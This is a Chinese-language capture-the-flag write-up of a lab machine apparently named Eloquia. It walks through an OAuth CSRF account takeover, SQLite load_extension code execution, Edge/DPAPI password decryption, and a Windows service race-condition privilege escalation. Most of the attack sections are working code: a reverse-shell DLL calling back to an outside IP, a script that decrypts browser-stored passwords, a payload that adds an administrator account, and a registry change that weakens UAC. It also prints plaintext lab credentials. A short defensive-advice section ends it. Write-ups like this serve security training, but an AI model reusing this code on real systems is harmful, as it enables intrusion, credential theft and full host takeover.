从 OAuth 逻辑漏洞到 Windows 服务竞态条件提权
字数 1981 2025-12-23 12:16:57

从 OAuth 逻辑漏洞到 Windows 服务竞态条件提权完整攻击链分析

信息收集阶段

网络扫描与端口发现

使用 masscan 进行快速端口扫描:

sudo masscan -p1-65535 10.10.11.99 --rate=1000 -e tun2

发现开放端口:

  • 80/tcp - HTTP服务(Microsoft IIS 10.0)
  • 5985/tcp - WinRM服务(Microsoft HTTPAPI 2.0)

详细服务探测

使用 nmap 进行深度扫描:

sudo nmap -O -A 10.10.11.99

关键发现:

  • 域名重定向:http://eloquia.htb
  • 操作系统:Windows Server 2019 或 Windows 10
  • Web服务器:Microsoft IIS 10.0

子域名枚举

使用 ffuf 进行子域名爆破:

ffuf -t 400 -w /usr/share/seclists/Discovery/DNS/combined_subdomains.txt \
 -u http://eloquia.htb \
 -H "Host: FUZZ.eloquia.htb" -ac

未发现有效子域名。

目录扫描

使用 dirsearch 进行路径枚举:

dirsearch -u http://eloquia.htb/ -x 404

发现关键路径:

  • /about/ - 关于页面
  • /accounts/login/ - 登录页面
  • /contact/ - 联系页面

OAuth 逻辑漏洞利用

发现OAuth认证端点

在登录页面发现第三方登录选项:

  • Facebook
  • Qooqle(仿Google OAuth服务)

OAuth授权URL结构:

http://qooqle.htb/login/?next=/oauth2/authorize/%3Fclient_id%3DriQBUyAa4UZT3Y1z1HUf3LY7Idyu8zgWaBj4zHIi%26response_type%3Dcode%26redirect_uri%3Dhttp%3A//eloquia.htb/accounts/oauth2/qooqle/callback/

漏洞分析

缺失的安全参数:

  • 缺少 state 参数 - 存在CSRF漏洞
  • 授权码有效期短(约30秒)
  • 可绑定任意账户到OAuth提供者

攻击链构建

  1. 注册攻击者账户:在Eloquia平台创建普通用户账户
  2. 关联OAuth账户:将攻击者账户与Qooqle OAuth关联
  3. 构造CSRF攻击页面:利用文章举报功能向管理员发送恶意链接

自动化攻击脚本

import requests
from urllib.parse import urlparse, parse_qs
from http.server import BaseHTTPRequestHandler, HTTPServer
import threading

# OAuth配置参数
SETTINGS = {
    'oauth_provider': 'http://qooqle.htb',
    'client_id': 'riQBUyAa4UZT3Y1z1HUf3LY7Idyu8zgWaBj4zHIi',
    'callback_uri': 'http://eloquia.htb/accounts/oauth2/qooqle/callback/',
    'req_timeout': 10
}

USER_DATA = {
    'user': 'attacker',
    'pass': 'attacker_password'
}

def extract_token(html_content):
    """从HTML中提取CSRF令牌"""
    # 实现令牌提取逻辑
    pass

def login_site_B(session):
    """登录Qooqle OAuth提供者"""
    try:
        login_url = f"{SETTINGS['oauth_provider']}/login/"
        r = session.get(login_url, timeout=SETTINGS["req_timeout"])
        token = extract_token(r.text)
        
        payload = {
            "csrfmiddlewaretoken": token,
            "username": USER_DATA["user"],
            "password": USER_DATA["pass"],
        }
        res = session.post(login_url, data=payload, headers={"Referer": login_url})
        return res.status_code in (200, 302)
    except Exception as e:
        return False

def fetch_oauth_token(session):
    """获取OAuth授权码"""
    auth_url = f"{SETTINGS['oauth_provider']}/oauth2/authorize/?client_id={SETTINGS['client_id']}&response_type=code&redirect_uri={SETTINGS['callback_uri']}"
    
    r = session.get(auth_url, timeout=SETTINGS["req_timeout"], allow_redirects=False)
    token = extract_token(r.text)
    
    payload = {
        "csrfmiddlewaretoken": token,
        "redirect_uri": SETTINGS["callback_uri"],
        "scope": "read write",
        "client_id": SETTINGS["client_id"],
        "state": "",
        "response_type": "code",
        "allow": "Authorize",
    }
    
    res = session.post(auth_url, data=payload, headers={
        "Referer": auth_url, 
        "Origin": SETTINGS["oauth_provider"]
    }, allow_redirects=False)
    
    return res.headers.get("Location")

SQLite load_extension() RCE利用

管理员功能发现

获得管理员权限后,发现SQL查询功能:

  • 位置:管理面板 → SQL浏览器
  • 限制:禁用INSERT、CREATE等危险操作

load_extension()函数利用

测试load_extension功能:

SELECT load_extension('test.dll');

返回错误但确认函数可用,表明可加载外部DLL。

恶意DLL开发

创建反向Shell DLL(绕过防御):

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>

#define REMOTE_HOST "10.10.16.71"
#define REMOTE_PORT 10086

typedef struct sqlite3 sqlite3;
typedef struct sqlite3_api_routines sqlite3_api_routines;

static const sqlite3_api_routines *sqlite3_api = 0;

DWORD WINAPI DbMaintenanceTask(LPVOID lpParam) {
    WSADATA wsa;
    SOCKET sock;
    struct sockaddr_in server;
    STARTUPINFOA si;
    PROCESS_INFORMATION pi;
    
    WSAStartup(MAKEWORD(2, 2), &wsa);
    sock = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    
    server.sin_family = AF_INET;
    server.sin_port = htons(REMOTE_PORT);
    server.sin_addr.s_addr = inet_addr(REMOTE_HOST);
    
    connect(sock, (struct sockaddr*)&server, sizeof(server));
    
    memset(&si, 0, sizeof(si));
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESTDHANDLES;
    si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock;
    
    CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
    WaitForSingleObject(pi.hProcess, INFINITE);
    
    closesocket(sock);
    WSACleanup();
    return 0;
}

__declspec(dllexport) int sqlite3_extension_init(sqlite3 *db, char **pzErrMsg, 
                    const sqlite3_api_routines *pApi) {
    sqlite3_api = pApi;
    CreateThread(NULL, 0, DbMaintenanceTask, NULL, 0, NULL);
    return 0;
}

编译与部署

gcc -shared -O2 -s -o sqll.dll sqllite.c -lws2_32

通过文章编辑功能上传DLL文件,路径为:static\assets\images\blog\sqll.dll

触发执行

SELECT load_extension('static\assets\images\blog\sqll.dll');

权限提升阶段

初始权限评估

whoami /priv

当前权限有限,仅具备:

  • SeChangeNotifyPrivilege
  • SeIncreaseWorkingSetPrivilege(禁用)

横向移动准备

发现自动化脚本文件:

# C:\Program Files\Automation Scripts\seleniumSimulator.py
from selenium import webdriver
import requests

session = requests.Session()
login_url = "http://eloquia.htb/accounts/login/"

# 硬编码凭证
payload = {
    "username": "admin",
    "password": "MyEl0qu!@Admin",  # 关键发现
    "csrfmiddlewaretoken": csrf_token
}

DPAPI主密钥提取

定位加密数据

Edge浏览器数据文件:

  • C:\Users\web\AppData\Local\Microsoft\Edge\User Data\Local State
  • C:\Users\web\AppData\Local\Microsoft\Edge\User Data\Default\Login Data

提取加密密钥

Local State文件中发现DPAPI加密密钥:

"encrypted_key": "RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABzr42Q+SDgR78a6A6x6z+EEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAABZqUTKi+3PgIqd3Qa3HRY2/JCmSDJLECa+TMtiB0cTPAAAAAAOgAAAAAIAACAAAAB0hEH7C3oQN6ghOwRl2cHGV2G3/o/oobqZ3Zm0uQNUhjAAAAAWtJnWT3GsY2PXsMOl66xYaMIXJodfrvLK5HVzFOvcGuw1CJn8xvbLF0LLyaOLujdAAAAA+vRmKffc2JdtiXx3o7Pvxy5CiU8YAuklDgNkgE+eAFDiAhBb5ZWr7zp30+GtPk4qluAXDrum+QHtuygfoywpTw=="

DPAPI解密脚本

import os
import json
import base64
import ctypes
from ctypes import wintypes

class DATA_BLOB(ctypes.Structure):
    _fields_ = [("cbData", wintypes.DWORD),
                ("pbData", ctypes.POINTER(ctypes.c_byte))]

def get_master_key():
    local_state_path = r'C:\Users\web\AppData\Local\Microsoft\Edge\User Data\Local State'
    
    with open(local_state_path, "r", encoding="utf-8") as f:
        local_state = json.loads(f.read())
    
    encrypted_key_b64 = local_state["os_crypt"]["encrypted_key"]
    encrypted_key = base64.b64decode(encrypted_key_b64)[5:]  # 移除DPAPI前缀
    
    blob_in = DATA_BLOB(len(encrypted_key), 
                        (ctypes.c_byte * len(encrypted_key)).from_buffer_copy(encrypted_key))
    blob_out = DATA_BLOB()
    
    ctypes.windll.crypt32.CryptUnprotectData(ctypes.byref(blob_in), None, None, None, None, 0, 
                                           ctypes.byref(blob_out))
    
    decrypted_key = (ctypes.c_byte * blob_out.cbData).from_address(
        ctypes.addressof(blob_out.pbData.contents))
    
    key_bytes = bytearray(decrypted_key)
    ctypes.windll.kernel32.LocalFree(blob_out.pbData)
    
    return key_bytes.hex()

print("Master Key:", get_master_key())

密码数据库解密

获得主密钥:c7f1ad7b079947b4bb1dc53b8740440651b6c9f5caf7fd9a18bbece57c7bd444

解密Login Data数据库:

import sqlite3
from Crypto.Cipher import AES

def decrypt_password(encrypted_value, key):
    try:
        if encrypted_value[:3] != b'v10':
            return "(Not v10 encrypted)"
        
        iv = encrypted_value[3:15]
        payload = encrypted_value[15:]
        ciphertext = payload[:-16]
        tag = payload[-16:]
        
        cipher = AES.new(key, AES.MODE_GCM, nonce=iv)
        decrypted_pass = cipher.decrypt_and_verify(ciphertext, tag)
        return decrypted_pass.decode('utf-8')
    except Exception as e:
        return f"(Error: {e})"

# 解密结果
"""
URL                          | Username     | Password
http://eloquia.htb/accounts/login/ | Olivia.KAT   | S3cureP@sswdIGu3ss
https://eloquia.htb/          | test         | testtest1234!
https://chatgpt.com/          | olivia.kat   | S3cureP@sswd3Openai
"""

横向移动

使用WinRM连接Olivia.KAT账户:

evil-winrm -i 10.10.11.99 -u 'Olivia.KAT' -p S3cureP@sswdIGu3ss

Failure2Ban服务竞态条件提权

服务分析

发现Failure2Ban服务:

  • 用途:防暴力破解(通常用于Linux,Windows版本存在设计缺陷)
  • 权限:需要管理员权限读取日志文件
  • 漏洞点:服务重启时的竞态条件窗口

权限验证

net localgroup "Remote Management Users"

确认Olivia.KAT具有远程管理权限。

竞态条件利用

创建管理员用户程序

#include <windows.h>
#include <lm.h>

#define NEW_USER L"choice"
#define NEW_PASS L"QWEqwe123!@#"

void execute_payload() {
    USER_INFO_1 ui;
    NET_API_STATUS nStatus;
    
    ui.usri1_name = NEW_USER;
    ui.usri1_password = NEW_PASS;
    ui.usri1_priv = USER_PRIV_USER;
    ui.usri1_flags = UF_SCRIPT | UF_DONT_EXPIRE_PASSWD | UF_NORMAL_ACCOUNT;
    
    nStatus = NetUserAdd(NULL, 1, (LPBYTE)&ui, NULL);
    
    LOCALGROUP_MEMBERS_INFO_3 account;
    account.lgrmi3_domainandname = NEW_USER;
    nStatus = NetLocalGroupAddMembers(NULL, L"Administrators", 3, 
                                     (LPBYTE)&account, 1);
}

int main(void) {
    execute_payload();
    return 0;
}

编译部署

gcc -O2 -s -o failure2ban.exe addr.c -lnetapi32

文件替换攻击

cmd /c "for /L %i in (1,0,2) do (copy /Y C:\ProgramData\failure2ban.exe Failure2Ban.exe && exit)"

UAC绕过注册表修改

创建第二个Payload修改远程访问策略:

#include <windows.h>

void execute_payload(void) {
    HKEY hKey;
    DWORD data = 1;
    
    RegOpenKeyExA(HKEY_LOCAL_MACHINE, 
                 "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 
                 0, KEY_SET_VALUE, &hKey);
    
    RegSetValueExA(hKey, "LocalAccountTokenFilterPolicy", 0, 
                   REG_DWORD, (const BYTE*)&data, sizeof(data));
    
    RegCloseKey(hKey);
}

int main(void) {
    execute_payload();
    return 0;
}

最终权限获取

  1. 等待Failure2Ban服务重启(约6-7分钟周期)
  2. 恶意程序以SYSTEM权限执行
  3. 创建管理员用户choice并加入Administrators组
  4. 修改注册表启用远程管理
  5. 使用新凭证获得完全控制权限

防御建议

OAuth安全加固

  1. 始终使用state参数防止CSRF
  2. 实施PKCE扩展保护授权码
  3. 限制redirect_uri到可信域名
  4. 设置合理的授权码过期时间

应用程序安全

  1. SQLite安全配置:
    • 禁用load_extension功能
    • 实施严格的输入验证
    • 使用参数化查询

系统安全加固

  1. 服务安全:

    • 实施文件完整性监控
    • 使用服务恢复策略
    • 限制服务账户权限
  2. DPAPI保护:

    • 使用专用密钥存储
    • 实施凭据保护策略
    • 定期轮换主密钥
  3. 权限管理:

    • 遵循最小权限原则
    • 实施适当的UAC策略
    • 监控特权账户活动

此攻击链展示了从Web应用漏洞到系统完全控制的完整路径,强调了纵深防御的重要性。

从 OAuth 逻辑漏洞到 Windows 服务竞态条件提权完整攻击链分析 信息收集阶段 网络扫描与端口发现 使用 masscan 进行快速端口扫描: 发现开放端口: 80/tcp - HTTP服务(Microsoft IIS 10.0) 5985/tcp - WinRM服务(Microsoft HTTPAPI 2.0) 详细服务探测 使用 nmap 进行深度扫描: 关键发现: 域名重定向: http://eloquia.htb 操作系统:Windows Server 2019 或 Windows 10 Web服务器:Microsoft IIS 10.0 子域名枚举 使用 ffuf 进行子域名爆破: 未发现有效子域名。 目录扫描 使用 dirsearch 进行路径枚举: 发现关键路径: /about/ - 关于页面 /accounts/login/ - 登录页面 /contact/ - 联系页面 OAuth 逻辑漏洞利用 发现OAuth认证端点 在登录页面发现第三方登录选项: Facebook Qooqle(仿Google OAuth服务) OAuth授权URL结构: 漏洞分析 缺失的安全参数: 缺少 state 参数 - 存在CSRF漏洞 授权码有效期短(约30秒) 可绑定任意账户到OAuth提供者 攻击链构建 注册攻击者账户 :在Eloquia平台创建普通用户账户 关联OAuth账户 :将攻击者账户与Qooqle OAuth关联 构造CSRF攻击页面 :利用文章举报功能向管理员发送恶意链接 自动化攻击脚本 SQLite load_ extension() RCE利用 管理员功能发现 获得管理员权限后,发现SQL查询功能: 位置:管理面板 → SQL浏览器 限制:禁用INSERT、CREATE等危险操作 load_ extension()函数利用 测试load_ extension功能: 返回错误但确认函数可用,表明可加载外部DLL。 恶意DLL开发 创建反向Shell DLL(绕过防御): 编译与部署 通过文章编辑功能上传DLL文件,路径为: static\assets\images\blog\sqll.dll 触发执行 权限提升阶段 初始权限评估 当前权限有限,仅具备: SeChangeNotifyPrivilege SeIncreaseWorkingSetPrivilege(禁用) 横向移动准备 发现自动化脚本文件: DPAPI主密钥提取 定位加密数据 Edge浏览器数据文件: C:\Users\web\AppData\Local\Microsoft\Edge\User Data\Local State C:\Users\web\AppData\Local\Microsoft\Edge\User Data\Default\Login Data 提取加密密钥 Local State文件中发现DPAPI加密密钥: DPAPI解密脚本 密码数据库解密 获得主密钥: c7f1ad7b079947b4bb1dc53b8740440651b6c9f5caf7fd9a18bbece57c7bd444 解密Login Data数据库: 横向移动 使用WinRM连接Olivia.KAT账户: Failure2Ban服务竞态条件提权 服务分析 发现Failure2Ban服务: 用途:防暴力破解(通常用于Linux,Windows版本存在设计缺陷) 权限:需要管理员权限读取日志文件 漏洞点:服务重启时的竞态条件窗口 权限验证 确认Olivia.KAT具有远程管理权限。 竞态条件利用 创建管理员用户程序 编译部署 文件替换攻击 UAC绕过注册表修改 创建第二个Payload修改远程访问策略: 最终权限获取 等待Failure2Ban服务重启(约6-7分钟周期) 恶意程序以SYSTEM权限执行 创建管理员用户 choice 并加入Administrators组 修改注册表启用远程管理 使用新凭证获得完全控制权限 防御建议 OAuth安全加固 始终使用state参数防止CSRF 实施PKCE扩展保护授权码 限制redirect_ uri到可信域名 设置合理的授权码过期时间 应用程序安全 SQLite安全配置: 禁用load_ extension功能 实施严格的输入验证 使用参数化查询 系统安全加固 服务安全: 实施文件完整性监控 使用服务恢复策略 限制服务账户权限 DPAPI保护: 使用专用密钥存储 实施凭据保护策略 定期轮换主密钥 权限管理: 遵循最小权限原则 实施适当的UAC策略 监控特权账户活动 此攻击链展示了从Web应用漏洞到系统完全控制的完整路径,强调了纵深防御的重要性。